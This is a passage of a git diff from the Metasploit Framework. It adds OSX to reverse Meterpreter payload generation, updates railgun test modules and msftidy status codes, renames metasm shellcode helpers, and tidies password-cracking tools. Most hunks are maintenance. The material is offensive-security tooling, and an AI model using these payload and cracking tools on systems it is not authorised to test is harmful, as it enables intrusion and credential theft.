@@ -15,12 +15,12 @@ class MetasploitModule < Msf::Post
       'Description'   => %q{ This module will test railgun api functions },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'Spencer McIntyre' ],
-      'Platform'      => [ 'linux', 'windows' ]
+      'Platform'      => [ 'linux', 'osx', 'windows' ]
     ))
   end
 
-  def test_api_function_calls_linux
-    return unless session.platform == 'linux'
+  def test_api_function_calls_libc
+    return unless session.platform == 'linux' || session.platform == 'osx'
 
     buffer = nil
     buffer_size = 128
@@ -55,22 +55,22 @@ class MetasploitModule < Msf::Post
       ret &&= result['return'] != 0
       ret &&= result['dst'][0...8] == '10.0.0.1'
       # then test the inout parameter type
-      result = session.railgun.libc.memfrob('metasploit', 10)
+      result = session.railgun.libc.strcat("meta\x00\x00\x00\x00\x00\x00\x00", 'sploit')
       ret &&= result['GetLastError'] == 0
       ret &&= result['return'] != 0
-      ret &&= result['mem'] == 'GO^KYZFEC^'
+      ret &&= result['to'] == 'metasploit'
     end
 
     it "Should support calling multiple functions at once" do
       ret = true
       multi_rail = [
         ['libc', 'getpid', []],
-        ['libc', 'memfrob', ['metasploit', 10]]
+        ['libc', 'strcat', ["meta\x00\x00\x00\x00\x00\x00\x00", 'sploit']]
       ]
       results = session.railgun.multi(multi_rail)
       ret &&= results.length == multi_rail.length
       ret &&= results[0]['return'] == session.sys.process.getpid
-      ret &&= results[1]['mem'] == 'GO^KYZFEC^'
+      ret &&= results[1]['to'] == 'metasploit'
     end
 
     it "Should support writing memory" do
diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb
index be93bd2809..3be8d3a90e 100644
--- a/test/modules/post/test/railgun_reverse_lookups.rb
+++ b/test/modules/post/test/railgun_reverse_lookups.rb
@@ -1,6 +1,6 @@
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb
index cd1e9c4fce..9778736628 100644
--- a/test/modules/post/test/registry.rb
+++ b/test/modules/post/test/registry.rb
@@ -1,6 +1,6 @@
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb
index 2bd7624647..11691c7bd1 100755
--- a/tools/dev/msftidy.rb
+++ b/tools/dev/msftidy.rb
@@ -43,9 +43,10 @@ end
 class Msftidy
 
   # Status codes
-  OK       = 0x00
-  WARNINGS = 0x10
-  ERRORS   = 0x20
+  OK       = 0
+  INFO     = 1
+  WARNING  = 2
+  ERROR    = 3
 
   # Some compiles regexes
   REGEX_MSF_EXPLOIT = / \< Msf::Exploit/
@@ -73,7 +74,7 @@ class Msftidy
   # error.
   def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : ''
     puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}"
-    @status == ERRORS ? @status = ERRORS : @status = WARNINGS
+    @status += WARNING
   end
 
   #
@@ -85,7 +86,7 @@ class Msftidy
   def error(txt, line=0)
     line_msg = (line>0) ? ":#{line}" : ''
     puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}"
-    @status = ERRORS
+    @status += ERROR
   end
 
   # Currently unused, but some day msftidy will fix errors for you.
@@ -101,6 +102,7 @@ class Msftidy
     return if SUPPRESS_INFO_MESSAGES
     line_msg = (line>0) ? ":#{line}" : ''
     puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}"
+    @status += INFO
   end
 
   ##
@@ -184,7 +186,7 @@ class Msftidy
           warn("Invalid WPVDB reference") if value !~ /^\d+$/
         when 'PACKETSTORM'
           warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/
-        when 'URL'
+        when 'URL' || 'AKA'
           if value =~ /^http:\/\/cvedetails\.com\/cve/
             warn("Please use 'CVE' for '#{value}'")
           elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\//
@@ -643,7 +645,7 @@ class Msftidy
   end
 
   # At one point in time, somebody committed a module with a bad metasploit.com URL
-  # in the header -- http//metasploit.com/download rather than http://metasploit.com/download.
+  # in the header -- http//metasploit.com/download rather than https://metasploit.com/download.
   # This module then got copied and committed 20+ times and is used in numerous other places.
   # This ensures that this stops.
   def check_invalid_url_scheme
diff --git a/tools/exploit/java_deserializer.rb b/tools/exploit/java_deserializer.rb
index bfc3c941c1..2c62a02541 100755
--- a/tools/exploit/java_deserializer.rb
+++ b/tools/exploit/java_deserializer.rb
@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/tools/exploit/metasm_shell.rb b/tools/exploit/metasm_shell.rb
index 4136c6ef6c..39ec5417cd 100755
--- a/tools/exploit/metasm_shell.rb
+++ b/tools/exploit/metasm_shell.rb
@@ -91,15 +91,15 @@ class String
   end
 
   # encodes the current string as a Shellcode, returns the resulting EncodedData
-  def encode_edata
+  def metasm_encode_edata
     s = Metasm::Shellcode.assemble @@cpu, self
     s.encoded
   end
 
   # encodes the current string as a Shellcode, returns the resulting binary String
   # outputs warnings on unresolved relocations
-  def encode
-    ed = encode_edata
+  def metasm_encode
+    ed = metasm_encode_edata
     if not ed.reloc.empty?
       puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ')
     end
@@ -109,20 +109,20 @@ class String
 
   # decodes the current string as a Shellcode, with specified base address
   # returns the resulting Disassembler
-  def decode_blocks(base_addr=0, eip=base_addr)
-    sc = Metasm::Shellcode.decode(self, @@cpu)
+  def metasm_decode_blocks(base_addr=0, eip=base_addr)
+    sc = Metasm::Shellcode.metasm_decode(self, @@cpu)
     sc.base_addr = base_addr
-    sc.disassemble(eip)
+    sc.metasm_disassemble(eip)
   end
 
   # decodes the current string as a Shellcode, with specified base address
   # returns the asm source equivallent
-  def decode(base_addr=0, eip=base_addr)
-    decode_blocks(base_addr, eip).to_s
+  def metasm_decode(base_addr=0, eip=base_addr)
+    metasm_decode_blocks(base_addr, eip).to_s
   end
 
-  def disassemble(str, eip=0)
-    Metasm::Shellcode.disassemble(@@cpu, str, eip)
+  def metasm_disassemble(str, eip=0)
+    Metasm::Shellcode.metasm_disassemble(@@cpu, str, eip)
   end
 
 end
@@ -147,9 +147,9 @@ def parse_gas_file(filename)
   end
 
   begin
-    encoded = shellcode.encode
+    encoded = shellcode.metasm_encode
     puts Rex::Text.to_ruby(encoded)
-    puts encoded.disassemble(shellcode.encode)
+    puts encoded.metasm_disassemble(shellcode.metasm_encode)
   rescue Metasm::Exception => e
     puts "Error: #{e.class} #{e.message}"
   end
@@ -179,7 +179,7 @@ shell.run { |l|
   next if l.strip.empty?
 
   begin
-    l = l.encode
+    l = l.metasm_encode
     puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"'
   rescue Metasm::Exception => e
     puts "Error: #{e.class} #{e.message}"
diff --git a/tools/exploit/virustotal.rb b/tools/exploit/virustotal.rb
index 36ba7446b6..286c6611cf 100755
--- a/tools/exploit/virustotal.rb
+++ b/tools/exploit/virustotal.rb
@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/tools/hardware/elm327_relay.rb b/tools/hardware/elm327_relay.rb
index e04a580e17..b3c97bcec4 100755
--- a/tools/hardware/elm327_relay.rb
+++ b/tools/hardware/elm327_relay.rb
@@ -3,7 +3,7 @@
 # ELM327 and STN1100 MCU interface to the Metasploit HWBridge
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/tools/modules/generate_mettle_payloads.rb b/tools/modules/generate_mettle_payloads.rb
index 91d8bbb520..967a051b81 100755
--- a/tools/modules/generate_mettle_payloads.rb
+++ b/tools/modules/generate_mettle_payloads.rb
@@ -12,32 +12,36 @@ schemes = [
 ]
 
 arches = [
-	['aarch64', 'aarch64-linux-musl'],
-  ['armbe',   'armv5b-linux-musleabi'],
-  ['armle',   'armv5l-linux-musleabi'],
-  ['mips64',  'mips64-linux-muslsf'],
-  ['mipsbe',  'mips-linux-muslsf'],
-  ['mipsle',  'mipsel-linux-muslsf'],
-  ['ppc',     'powerpc-linux-muslsf'],
-  ['ppc64le', 'powerpc64le-linux-musl'],
-  ['x64',     'x86_64-linux-musl'],
-  ['x86',     'i486-linux-musl'],
-  ['zarch',   's390x-linux-musl'],
+  ['aarch64','Linux', 'aarch64-linux-musl'],
+  ['armbe',  'Linux', 'armv5b-linux-musleabi'],
+  ['armle',  'Linux', 'armv5l-linux-musleabi'],
+  ['mips64', 'Linux', 'mips64-linux-muslsf'],
+  ['mipsbe', 'Linux', 'mips-linux-muslsf'],
+  ['mipsle', 'Linux', 'mipsel-linux-muslsf'],
+  ['ppc',    'Linux', 'powerpc-linux-muslsf'],
+  ['ppc64le','Linux', 'powerpc64le-linux-musl'],
+  ['x64',    'Linux', 'x86_64-linux-musl'],
+  ['x86',    'Linux', 'i486-linux-musl'],
+  ['zarch',  'Linux', 's390x-linux-musl'],
+  ['x64',    'OSX',   'x86_64-apple-darwin'],
 ]
 
 arch = ''
 payload = ''
+platform = ''
 scheme = ''
 cwd = File::dirname(__FILE__)
-template = File::read(File::join(cwd, 'linux_meterpreter_reverse.erb'))
-renderer = ERB.new(template)
 
-arches.each do |a, p|
+arches.each do |a, pl, pa|
   schemes.each do |s|
     arch = a
-    payload = p
+    platform = pl
+    payload = pa
     scheme = s
-    filename = File::join('modules', 'payloads', 'singles', 'linux', arch, "meterpreter_reverse_#{scheme}.rb")
+
+    template = File::read(File::join(cwd, "meterpreter_reverse.erb"))
+    renderer = ERB.new(template)
+    filename = File::join('modules', 'payloads', 'singles', platform, arch, "meterpreter_reverse_#{scheme}.rb")
     File::write(filename, renderer.result())
   end
 end
diff --git a/tools/modules/linux_meterpreter_reverse.erb b/tools/modules/meterpreter_reverse.erb
similarity index 68%
rename from tools/modules/linux_meterpreter_reverse.erb
rename to tools/modules/meterpreter_reverse.erb
index bffd3a8edb..c8488e2803 100644
--- a/tools/modules/linux_meterpreter_reverse.erb
+++ b/tools/modules/meterpreter_reverse.erb
@@ -1,12 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/handler/reverse_<%= scheme %>'
 require 'msf/base/sessions/meterpreter_options'
 require 'msf/base/sessions/mettle_config'
-require 'msf/base/sessions/meterpreter_<%= arch %>_linux'
+require 'msf/base/sessions/meterpreter_<%= arch %>_<%= platform.downcase %>'
 
 module MetasploitModule
 
@@ -18,23 +18,27 @@ module MetasploitModule
     super(
       update_info(
         info,
-        'Name'          => 'Linux Meterpreter, Reverse <%= scheme.upcase %> Inline',
+        'Name'          => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
-        'Platform'      => 'linux',
+        'Platform'      => '<%= platform.downcase %>',
         'Arch'          => ARCH_<%= arch.upcase %>,
         'License'       => MSF_LICENSE,
         'Handler'       => Msf::Handler::Reverse<%= scheme.capitalize %>,
-        'Session'       => Msf::Sessions::Meterpreter_<%= arch %>_Linux
+        'Session'       => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
       )
     )
   end
 
   def generate
-    opts = {scheme: '<%= scheme %>'}
+    opts = {
+      scheme: '<%= scheme %>',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/tools/modules/module_description.rb b/tools/modules/module_description.rb
new file mode 100644
index 0000000000..3816bfa8f4
--- /dev/null
+++ b/tools/modules/module_description.rb
@@ -0,0 +1,84 @@
+#!/usr/bin/env ruby
+#
+# $Id$
+#
+# This script lists each module with its description
+#
+# $Revision$
+#
+
+msfbase = __FILE__
+while File.symlink?(msfbase)
+  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
+end
+
+$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
+require 'msfenv'
+
+$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
+
+require 'rex'
+require 'msf/ui'
+require 'msf/base'
+
+sort = 0
+filter= 'All'
+filters = ['all','exploit','payload','post','nop','encoder','auxiliary']
+
+opts = Rex::Parser::Arguments.new(
+  "-h" => [ false, "Help menu." ],
+  "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."],
+)
+
+opts.parse(ARGV) { |opt, idx, val|
+  case opt
+  when "-h"
+    puts "\nMetasploit Script for Displaying Module Descriptions."
+    puts "=========================================================="
+    puts opts.usage
+    exit
+  when "-f"
+    unless filters.include?(val.downcase)
+      puts "Invalid Filter Supplied: #{val}"
+      puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}"
+      exit
+    end
+    puts "Module Filter: #{val}"
+    filter = val
+
+  end
+
+}
+
+
+Indent = '    '
+
+# Always disable the database (we never need it just to list module
+# information).
+framework_opts = { 'DisableDatabase' => true }
+
+# If the user only wants a particular module type, no need to load the others
+if filter.downcase != 'all'
+  framework_opts[:module_types] = [ filter.downcase ]
+end
+
+# Initialize the simplified framework instance.
+$framework = Msf::Simple::Framework.create(framework_opts)
+
+
+tbl = Rex::Text::Table.new(
+  'Header'  => 'Module Descriptions',
+  'Indent'  => Indent.length,
+  'Columns' => [ 'Module', 'Description' ]
+)
+
+$framework.modules.each { |name, mod|
+  x = mod.new
+  tbl << [ x.fullname, x.description ]
+}
+
+if sort == 1
+  tbl.sort_rows(1)
+end
+
+puts tbl.to_s
diff --git a/tools/password/cpassword_decrypt.rb b/tools/password/cpassword_decrypt.rb
index 32e28c598c..335809e925 100755
--- a/tools/password/cpassword_decrypt.rb
+++ b/tools/password/cpassword_decrypt.rb
@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,7 +79,6 @@ class CPassword
   end
 end
 
-
 #
 # Shows script usage
 #
@@ -88,7 +87,6 @@ def usage
   exit
 end
 
-
 #
 # Prints a status message
 #
@@ -96,7 +94,6 @@ def print_status(msg='')
   $stderr.puts "[*] #{msg}"
 end
 
-
 #
 # Prints an error message
 #
@@ -104,7 +101,6 @@ def print_error(msg='')
   $stderr.puts "[-] #{msg}"
 end
 
-
 #
 # Prints a good message
 #
@@ -112,7 +108,6 @@ def print_good(msg='')
   $stderr.puts "[+] #{msg}"
 end
 
-
 #
 # main
 #
diff --git a/tools/password/halflm_second.rb b/tools/password/halflm_second.rb
index 5bfa44dfb8..21f312c2ca 100755
--- a/tools/password/halflm_second.rb
+++ b/tools/password/halflm_second.rb
@@ -39,7 +39,6 @@ $args = Rex::Parser::Arguments.new(
   "-s" => [ true,  "The server challenge (default value 1122334455667788)"            ],
   "-h" => [ false, "Display this help information"                                      ])
 
-
 $args.parse(ARGV) { |opt, idx, val|
   case opt
     when "-n"
@@ -81,8 +80,6 @@ if(pass.length != 7)
   exit
 end
 
-
-
 pass = pass.upcase
 hash = hash.downcase
 
@@ -123,7 +120,6 @@ end
 end
 end
 
-
 puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cset.length} seconds)..."
 0.upto(cset.length-1) do |c1|
 0.upto(cset.length-1) do |c2|
diff --git a/tools/password/hmac_sha1_crack.rb b/tools/password/hmac_sha1_crack.rb
index 2359f01249..fb1acae806 100755
--- a/tools/password/hmac_sha1_crack.rb
+++ b/tools/password/hmac_sha1_crack.rb
@@ -2,7 +2,7 @@
 #
 # $Id$
 #
-# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools 
+# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools
 # have issues with binary salt values and extremely large salt values. The primary
 # goal of this tool is to handle IPMI 2.0 HMAC SHA1 hashes.
 #
@@ -29,7 +29,6 @@ def usage
   exit
 end
 
-
 hash_inp  = ARGV.shift || usage()
 word_inp  = ARGV.shift || usage()
 
@@ -51,17 +50,16 @@ hash_fd.each_line do |line|
     $stderr.puts "[-] Invalid hash entry, missing field: #{line}"
     next
   end
-  unless h_salt =~ /^[a-f0-9]+$/i 
+  unless h_salt =~ /^[a-f0-9]+$/i
     $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}"
     next
   end
   hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ]
 end
-hash_fd.close 
-
+hash_fd.close
 
 stime = Time.now.to_f
-count = 0 
+count = 0
 cracked = 0
 
 word_fd.each_line do |line|
@@ -75,10 +73,10 @@ word_fd.each_line do |line|
       cracked += 1
     end
     count += 1
-    
+
     if count % 2500000 == 0
       $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)"
-    end		
+    end
   end
   hashes.delete_if {|e| e[3] }
   break if hashes.length == 0
diff --git a/tools/password/lm2ntcrack.rb b/tools/password/lm2ntcrack.rb
index 57d9ad0adc..c6be3ada62 100755
--- a/tools/password/lm2ntcrack.rb
+++ b/tools/password/lm2ntcrack.rb
@@ -70,7 +70,6 @@ $args = Rex::Parser::Arguments.new(
   "-d" => [ true,  "The domain (machine) name    (NETLMv2/NETNTLMv2 type only)"     	],
   "-h" => [ false, "Display this help information"                                                   	])
 
-
 $args.parse(ARGV) { |opt, idx, val|
   case opt
     when "-t"
@@ -122,7 +121,6 @@ else
   end
 end
 
-
 if type == "HALFLM" or type == "LM" or type == "NTLM" then
   if srvchal != nil or clichal != nil or user != nil or domain != nil  then
     $stderr.puts "[*] No challenge, user or domain must be provided with this type"
@@ -872,5 +870,3 @@ else
   $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2"
   exit
 end
-
-
diff --git a/tools/password/md5_lookup.rb b/tools/password/md5_lookup.rb
index d22f8dc5ac..1f50786dce 100755
--- a/tools/password/md5_lookup.rb
+++ b/tools/password/md5_lookup.rb
@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,7 +37,6 @@ require 'rex'
 require 'msf/core'
 require 'optparse'
 
-
 #
 # Basic prints we can't live without
 #
@@ -71,7 +70,6 @@ module Md5LookupUtility
     #  @return [String] The name of the tool
     attr_accessor :group_name
 
-
     def initialize
       self.config_file = Msf::Config.config_file
       self.group_name  = 'MD5Lookup'
@@ -93,7 +91,6 @@ module Md5LookupUtility
       end
     end
 
-
     # Saves the waiver so the warning won't show again after ack
     #
     # @return [void]
@@ -101,7 +98,6 @@ module Md5LookupUtility
       save_setting('waiver', true)
     end
 
-
     # Returns true if we don't have to show the warning again
     #
     # @return [Boolean]
@@ -109,7 +105,6 @@ module Md5LookupUtility
       load_setting('waiver') == 'true' ? true : false
     end
 
-
     private
 
     # Saves a setting to Metasploit's config file
@@ -124,7 +119,6 @@ module Md5LookupUtility
       ini.to_file(self.config_file)
     end
 
-
     # Returns the value of a specific setting
     #
     # @param key_name [String] The name of the setting
@@ -177,7 +171,6 @@ module Md5LookupUtility
       )
     end
 
-
     # Returns the found cracked MD5 hash
     #
     # @param md5_hash [String] The MD5 hash to lookup
@@ -192,10 +185,8 @@ module Md5LookupUtility
       get_json_result(res)
     end
 
-
     private
 
-
     # Parses the cracked result from a JSON input
     # @param res [Rex::Proto::Http::Response] The Rex HTTP response
     # @return [String] Found cracked MD5 hash
@@ -217,7 +208,6 @@ module Md5LookupUtility
 
   end
 
-
   # This class parses the user-supplied options (inputs)
   class OptsConsole
 
@@ -275,10 +265,8 @@ module Md5LookupUtility
       options
     end
 
-
     private
 
-
     # Returns the parsed options from ARGV
     #
     # raise [OptionParser::InvalidOption] Invalid option found
@@ -317,7 +305,6 @@ module Md5LookupUtility
       return parser, options
     end
 
-
     # Returns the actual database names based on what the user wants
     #
     # @param list [String] A list of user-supplied database names
@@ -339,7 +326,6 @@ module Md5LookupUtility
       new_db_list
     end
 
-
     # Returns a list of all of the supported database symbols
     #
     # @return [Array<Symbol>] Database symbols
@@ -357,7 +343,6 @@ module Md5LookupUtility
     end
   end
 
-
   # This class decides how this process works
   class Driver
 
@@ -379,7 +364,6 @@ module Md5LookupUtility
       end
     end
 
-
     # Main function
     #
     # @return [void]
@@ -403,7 +387,6 @@ module Md5LookupUtility
       end
     end
 
-
     # Cleans up the output file handler if exists
     #
     # @return [void]
@@ -411,10 +394,8 @@ module Md5LookupUtility
       @output_handle.close if @output_handle
     end
 
-
     private
 
-
     # Saves the MD5 result to file
     #
     # @param result [Hash] The result that contains the MD5 information
@@ -472,7 +453,6 @@ module Md5LookupUtility
 
 end
 
-
 #
 # main
 #
diff --git a/tools/password/vxencrypt.rb b/tools/password/vxencrypt.rb
index f9d709ee55..109e7bf5cd 100755
--- a/tools/password/vxencrypt.rb
+++ b/tools/password/vxencrypt.rb
@@ -1,3 +1,5 @@
+#!/usr/bin/env ruby
+#
 # $Id$
 #
 # This script can be used to calculate hash values for VxWorks passwords.
@@ -15,7 +17,6 @@ def hashit(inp)
   hackit(sum)
 end
 
-
 def hackit(sum)
   magic = 31695317
   res = ((sum * magic) & 0xffffffff).to_s
@@ -29,4 +30,3 @@ end
 
 input = ARGV.shift || "flintstone"
 $stderr.puts "[*] Hash for password '#{input}' is #{hashit(input)}"
-
diff --git a/tools/password/vxmaster.rb b/tools/password/vxmaster.rb
index e599b91be0..7521f48801 100755
--- a/tools/password/vxmaster.rb
+++ b/tools/password/vxmaster.rb
@@ -12,7 +12,6 @@
 # $Revision$
 #
 
-
 # VxWorks converts the clear-text password into single integer value. This value
 # can only be one of about 210,000 possible options. The method below emulates
 # what the vxencrypt utility does and was implemented based on publicly indexed
@@ -128,7 +127,6 @@ seeds = []
 end
 seedsets << seeds
 
-
 seeds = []
 8.upto(12) do |slen|
   0x23.upto(0x7c) do |cset|
@@ -165,7 +163,6 @@ seeds = []
 end
 seedsets << seeds
 
-
 # Calculate passwords and their hashes for all possible outputs
 1.upto(209656) do |i|
   found = false
@@ -200,4 +197,3 @@ seedsets << seeds
     exit(0)
   end
 end
-
diff --git a/tools/recon/list_interfaces.rb b/tools/recon/list_interfaces.rb
index c2dcc3e58e..0cf1fb2169 100755
--- a/tools/recon/list_interfaces.rb
+++ b/tools/recon/list_interfaces.rb
@@ -19,7 +19,6 @@ require 'msfenv'
 
 $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 
-
 if RUBY_PLATFORM == "i386-mingw32"
   begin
     require 'network_interface'
diff --git a/tools/recon/makeiplist.rb b/tools/recon/makeiplist.rb
index fd3f8dc97b..912fbdeddf 100755
--- a/tools/recon/makeiplist.rb
+++ b/tools/recon/makeiplist.rb
@@ -12,18 +12,17 @@
 # mubix
 #
 
-
 msfbase = __FILE__
 while File.symlink?(msfbase)
   msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
 end
 
 $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
+
 require 'msfenv'
 require 'rex'
 require 'optparse'
 
-
 class OptsConsole
   def self.parse(args)
     options = {'output' => 'iplist.txt'}
@@ -78,7 +77,6 @@ Usage: #{__FILE__} [options]|
   end
 end
 
-
 #
 # Prints IPs
 #
@@ -91,7 +89,6 @@ def make_list(in_f, out_f)
     end
 end
 
-
 #
 # Returns file handles
 #
@@ -106,7 +103,6 @@ def load_files(in_f, out_f)
   return handle_in, handle_out
 end
 
-
 options = OptsConsole.parse(ARGV)
 in_f, out_f = load_files(options['input'], options['output'])